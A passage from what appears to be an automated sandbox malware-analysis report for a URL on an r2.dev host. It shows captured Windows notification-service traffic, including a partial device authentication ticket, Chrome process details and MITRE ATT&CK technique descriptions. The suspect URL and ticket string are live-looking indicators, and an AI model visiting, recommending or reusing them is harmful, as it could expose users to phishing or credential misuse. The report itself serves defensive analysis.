2024-09-28 22:59:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 49 34 79 66 59 77 64 70 6b 53 69 4f 78 56 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 65 61 34 37 35 36 35 61 64 34 65 33 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BI4yfYwdpkSiOxV3.2Context: 71ea47565ad4e3ff<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 22:59:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 49 34 79 66 59 77 64 70 6b 53 69 4f 78 56 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 65 61 34 37 35 36 35 61 64 34 65 33 66 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BI4yfYwdpkSiOxV3.3Context: 71ea47565ad4e3ff<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 22:59:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 22:59:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 63 59 6d 53 71 67 48 54 30 4b 42 6b 35 69 68 76 56 51 4c 79 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YcYmSqgHT0KBk5ihvVQLyA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49760	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:00:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 70 70 63 73 74 33 4e 78 45 65 77 64 53 46 44 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 34 61 33 34 36 62 63 62 66 32 38 35 64 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Lppcst3NxEewdSFD.1Context: 104a346bcbf285d9
2024-09-28 23:00:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-28 23:00:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 70 70 63 73 74 33 4e 78 45 65 77 64 53 46 44 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 34 61 33 34 36 62 63 62 66 32 38 35 64 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Lppcst3NxEewdSFD.2Context: 104a346bcbf285d9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 23:00:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 70 70 63 73 74 33 4e 78 45 65 77 64 53 46 44 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 34 61 33 34 36 62 63 62 66 32 38 35 64 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Lppcst3NxEewdSFD.3Context: 104a346bcbf285d9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 23:00:20 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 23:00:20 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 49 49 36 4a 33 7a 66 57 55 79 49 48 30 74 33 79 42 56 71 75 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FII6J3zfWUyIH0t3yBVquw.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5480, Parent PID: 1824

General

Target ID:	0
Start time:	18:58:49
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3792, Parent PID: 5480

General

Target ID:	2
Start time:	18:58:54
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2412,i,13320635165213264262,11456466391061139777,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2016, Parent PID: 1824

General

Target ID:	3
Start time:	18:58:56
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 48

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html